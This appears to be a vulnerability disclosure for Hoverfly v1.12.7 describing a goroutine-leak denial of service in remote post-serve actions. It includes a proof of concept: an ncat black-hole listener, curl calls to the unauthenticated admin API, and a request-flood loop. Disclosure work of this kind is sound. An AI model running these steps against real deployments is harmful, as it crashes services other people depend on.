Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions

Summary:

Remote post-serve actions use http.DefaultClient without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on http.DefaultClient.Do(). An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.

Details:

1. Remote actions executed in goroutines without timeout (core/hoverfly.go:224-228):

go postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)

Post-serve actions are executed in separate goroutines with no recovery wrapper.

2. HTTP client has no timeout (core/action/action.go:128-143):

req, err := http.NewRequest("POST", action.Remote, bytes.NewBuffer(pairViewBytes))
// ...
resp, err := http.DefaultClient.Do(req)  // No timeout! Blocks forever.

http.DefaultClient has zero timeout by default in Go. If the remote server:

• Accepts the TCP connection but never sends a response
• Establishes TLS but never completes the handshake
• Uses TCP window size 0 (flow control stall)

...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.

3. No goroutine limit or backpressure:

There is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.

4. The goroutine is never cleaned up:

The only exit path from Execute() is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.

Environment:

• Hoverfly version: v1.12.7
• Operating System: macOS Darwin 25.4.0
• Go version: 1.26.2
• Configuration: Default (no flags required)

POC:

Step 1: Start a black-hole TCP listener (accepts connections, never responds)

# Option A: Use ncat
ncat -l -k 9999 &

# Option B: Use a non-routable IP (connections hang at TCP SYN)
# 192.0.2.1 is TEST-NET-1, guaranteed non-routable
# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)

Step 2: Register remote post-serve action pointing to the black hole

curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \
  -H "Content-Type: application/json" \
  -d '{
    "actionName": "leak",
    "remote": "http://192.0.2.1:9999/blackhole",
    "delayInMs": 0
  }'

Step 3: Load a catch-all simulation

curl -X PUT http://localhost:8888/api/v2/simulation \
  -H "Content-Type: application/json" \
  -d '{
    "data": {
      "pairs": [{
        "request": {"path": [{"matcher": "glob", "value": "*"}]},
        "response": {"status": 200, "body": "ok", "postServeAction": "leak"}
      }],
      "globalActions": {"delays": [], "delaysLogNormal": []}
    },
    "meta": {"schemaVersion": "v5.2"}
  }'

Step 4: Flood with requests

# Each request spawns an immortal goroutine
for i in $(seq 1 10000); do
    curl -s -x http://localhost:8500 "http://target.com/req${i}" &
    # Throttle to avoid local FD exhaustion
    [ $((i % 100)) -eq 0 ] && wait
done

Verified memory impact on Hoverfly v1.12.7:

Memory before: 20,064 KB
Memory after 50 requests: 23,376 KB
Memory increase: 3,312 KB (66 KB per goroutine)

At this rate:

• 1,000 requests = ~64 MB leaked
• 10,000 requests = ~640 MB leaked
• 100,000 requests = ~6.4 GB leaked → OOM crash

Impact:

An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:

1. Registering a remote post-serve action pointing to a non-responsive endpoint.
2. Loading a catch-all simulation that triggers the action on every request.
3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.